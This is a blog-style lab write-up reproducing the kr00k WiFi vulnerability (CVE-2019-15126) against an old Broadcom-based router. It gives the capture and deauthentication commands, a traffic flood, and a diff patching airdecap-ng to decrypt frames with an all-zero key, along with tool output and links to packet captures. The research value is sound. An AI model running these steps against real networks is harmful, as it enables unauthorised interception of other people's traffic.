Playing with kr00k
In February 2020 ESET released a new vulnerability (CVE-2019-15126) called kr00k. It was a real vulnerability, because it had a name and a logo. ESET didn’t only hype the vulnerability but also provided a whitepaper with some more information.
After the release of the kr00k vulnerability I expected to see exploit scripts surface pretty quickly. However this did not seem to be the case. Therefor I decided to dive into the vulnerability myself to see how you could practically exploit this. This post describes the setup and tools I used, and provides packet capture (pcap) files so anyone can try out the vulnerability themselves. This post will exploit the kr00k vulnerability on a vulnerable router, and not on a vulnerable client device.
Any information in this post can be used as long as credit is given.
Setup
I used the following setup to test the kr00k vulnerability:
Test router
As the router for this test I used a very old Linksys WRT54G router with the (outdated) Tomato firmware (v1.28) on it. This router contains a Broadcom BCM4712 chip, this chip is the CPU but also has the WiFi capabilities included. The WiFi part is identified as the Broadcom BCM4320 by Tomato (as seen in dmesg).
The router is configured with the following settings:
- WPA2 Personal TKIP/AES
- Networkname: kr00ktestnw
- WPA2 Password: kr00ktestpass
- Mac: 00:12:17:BC:B4:8A
Victim VM
- Windows 7 VM
- 1 USB wifi card (Noname, Ralink RT5370 chipset)
- Mac address: 00:0F:00:54:3B:D6
Attacker VM
- Kali VM
- 2 USB WiFi cards:
- Fake Alpha card, Ralink RT2770
- “High power” card, Ralink RT2870/RT3070
Webserver VM
- Kali VM (any OS will do)
- Connected to the router via one of the LAN ports
Capturing kr00k data
The kr00k vulnerability happens at the moment the WiFi connection gets disconnected while packets are still being send. To be able to capture data which contains packets vulnerable to the kr00k vulnerability we use the following tools and settings.
First we need to put the WiFi device, which we want to use to capture data, in monitoring mode on the Attacker VM. We will place the device in monitoring mode fixed on the channel our WiFi network uses (channel 6).
To do so we use the following airmon-ng command:
airmon-ng start wlan1 6
We can now start capturing WiFi packets from the air. We will use the airodump-ng tool to capture the packets. The airodump-ng command to capture the data we want:
airodump-ng -c 6 --essid kr00ktestnw -w airodump_kr00k1 wlan0mon
This command includes the following options:
- -c 6 = Sniffing on channel 6
- –essid kr00ktestnw = The SSID of our test network
- -w airodump_kr00k1 = Write to this output file ( airodump_kr00k1.cap )
- wlan0mon = Our WiFi device in monitoring mode
Since we are capturing the data we can now connect the Victim VM to the WiFi network. After doing so airodump-ng will prompt it captured the WPA handshake. If this does not happen then airodump-ng probably was unable to capture all the packets of the handshake. It then helps to disconnect and reconnect again untill airodump-ng is able to capture the handshake.
Since we want to capture data we we need to generate some data from the router to the client. To do this we connect a linux VM to one of the LAN ports of the router, on which we run the following command:
perl -e 'while (1) { print "kr00ktest" };'| nc -nvlp 80
This command will send out the easily recognizable text “kr00ktest” in a loop to anything connecting on port 80. This will result in a flood of data so we will fill up the buffer in the router, which seems to be needed for the kr00k attack to work. We could of course also set up a HTTP server and serve a large file, but this is a quick and dirty solution which fits our needs.
During initial tests I did not receive any “kr00k packets”, probably because I did not send enough data over the network, therefor I started using this flood approach.
To start the data stream we will connect with a webbrowser to the port (in this case on IP 192.168.42.181) from the Victim VM by browsing to http://192.168.42.181). Note: This will probably lock up your browser which you connect to the port since you are sending a lot of data which the browser needs to parse.
Since we are now generating a steady stream of traffic we can now disconnect the client to trigger the kr00k vulnerability. We will forcefully disconnect the client by sending a deauthentication command with aireplay-ng. To do so we use the following command:
aireplay-ng --deauth 1 -a 00:12:17:BC:B4:8A -e kr00ktestnw -c 00:0F:00:54:3B:D6 wlan1mon
This command contains the following options:
–deauth 1 = Send the deauthentication command, do this once
-a 00:12:17:BC:B4:8A = The mac address of our accesspoint
-e kr00ktestnw = The SSID of our testnetwork
-c 00:0F:00:54:3B:D6 = The mac address of the client
wlan1mon = The WiFi device to use for this
After the deauthentication the client will disconnect and then reconnect to the router. When this happened we can stop our packet capture and analyse the data to see if the kr00k vulnerability was triggered.
The packet capture containing the data sniffed in this example can be downloaded here:
https://thice.nl/kr00k/airodump_kr00k1.pcap
Note: This is not the raw capture from airodump-ng, but I used Wireshark to remove all the data not belonging to the router and our Victim VM. This does not change anything to the data we need, it just removes the unneeded noise from the file.
Analysing the captured data
To check the WPA data the capture file contains we use the airdecap-ng tool. This tool shows is the amount of WPA data packets the capture contains:
# airdecap-ng airodump_kr00k1.pcap
Total number of stations seen 10
Total number of packets read 399
Total number of WEP data packets 0
Total number of WPA data packets 210
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
airdecap-ng is able to identify 210 WPA data packets in this capture. Since we know the password for the WiFi network we can try to decrypt these packets with the following command:
# airdecap-ng airodump_kr00k1.pcap -e kr00ktestnw -p kr00ktestpass
Total number of stations seen 10
Total number of packets read 399
Total number of WEP data packets 0
Total number of WPA data packets 210
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 160
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 3
airdecap-ng is able to decrypt 160 WPA packets, however, it shows that there are 3 “bad CCMP (WPA) packets”. These 3 packets are our kr00k packets.
To decrypt these packets I did not want to write a whole new tool, so I opted for a quick and dirty option and decided to alter the airdecap-ng tool. The airdecap-ng tool already can parse .pcap packet captures, process WPA packets and decrypt them, so it would be a fairly easy fix to also let it decrypt kr00k packets.
Adjusting airdecap-ng
The airdecap-ng tool is part of the aircrack-ng suite, for which the source-code can be found on: https://github.com/aircrack-ng/aircrack-ng
The source-code for the airdecap-ng tool can be found on: https://github.com/aircrack-ng/aircrack-ng/blob/master/src/airdecap-ng/airdecap-ng.c
In the source code we can find these specific lines with regards to the decryption of the encrypted WPA packets:
if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
...
if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
The decrypt_tkip and decrypt_ccmp functions can be found in the crypto.h file:
int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] );
...
int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] );
The kr00k vulnerability is the result of the Broadcom chip overwriting the Temporal Key (TK) with zeros. Looking at the source code of airdecap-ng we can see that this TK is set by st_cur->ptk + 32
. This value is then passed to the decrypt function in crypto.h, which loads it in TK1[16]
.
We can adjust the airdecap-ng code in such a way that it will use a TK of only zeros. That way we can decrypt the “kr00k packets”.
To adjust the airdecap-ng code we install all the tools needed (as stated in the install info):
apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
Then we clone the git of the source code:
git clone https://github.com/aircrack-ng/aircrack-ng.git
And run the autogen script:
./autogen.sh
We can now alter the source-code locally by editing the file src/airdecap-ng/airdecap-ng.c
. In this file we will replace the TK as being set by airdecap-ng ( st_cur->ptk + 32
) by a fixed value containing only zeros.
Since our packets are decrypted in “decrypt_ccmp” function we only change this function. We also need to remove the check for a valid PTK, else we still need to provide the correct WPA password.
Diff of the changes we made:
# diff src/airdecap-ng/airdecap-ng.org src/airdecap-ng/airdecap-ng.c 937c937 < if (!st_cur->valid_ptk) continue; --- > //if (!st_cur->valid_ptk) continue; 952c952,954 < if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0) --- > // Changes for kr00k vulnerability > unsigned char kr00k[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; > if (decrypt_ccmp(h80211, pkh.caplen, kr00k) == 0)
After we make these changes we will compile the source code by running make:
# make -s
Making all in manpages
Making all in scripts
We now have a airdecap-ng version which will decrypt kr00k packets. However, because of our quick and dirty change it can now _only_ decrypt kr00k packets and no longer decrypt valid WPA packets.
When we use our modified airdecap-ng version against the captured packets we see the following output:
# ./airdecap-ng airodump_kr00k1.pcap -e kr00ktestnw -p anypasswilldo
(... some errors because of our dirty "fixes")
Total number of stations seen 10
Total number of packets read 399
Total number of WEP data packets 0
Total number of WPA data packets 210
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 3
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 181
We now decrypted those 3 packets which airdecap-ng previously could not decrypt. These 3 packets were indeed kr00k packets. The decrypted packets can be found in the following packet capture file:
https://thice.nl/kr00k/airodump_kr00k1-dec.pcap
We can open this packet capture file (airodump_kr00k1-dec.pcap) with wireshark and see the decrypted contents:
In the screenshot we can see our test string “kr00ktest” repeating, which shows us that decryption was indeed successful.
Update 1, 05-03-2020: After the release of this post my brother Bas decided to create a less quick and dirty patch for airdecap-ng. This patch can be downloaded here: airdecap-kr00k.patch
To apply the patch against the airdecap-ng.c source code you can use the patch command:
# patch airdecap-ng.c airdecap-kr00k.patch
patching file airdecap-ng.c
Hunk #3 succeeded at 253 with fuzz 1.
After applying the patch (and compiling everything with ‘make’) a new option ” -K ” is added to airdecap-ng. You can now use this option to decrypt kr00k packets with the following command:
# ./airdecap-ng airodump_kr00k1.pcap -K
Total number of stations seen 10
Total number of packets read 399
Total number of WEP data packets 0
Total number of WPA data packets 210
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 3
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 207
So, yeah, kr00k is real and not that hard to exploit when a vulnerable router is involved. However, the amount of data that you can steal this way is limited since it is only a couple of packets per disconnect.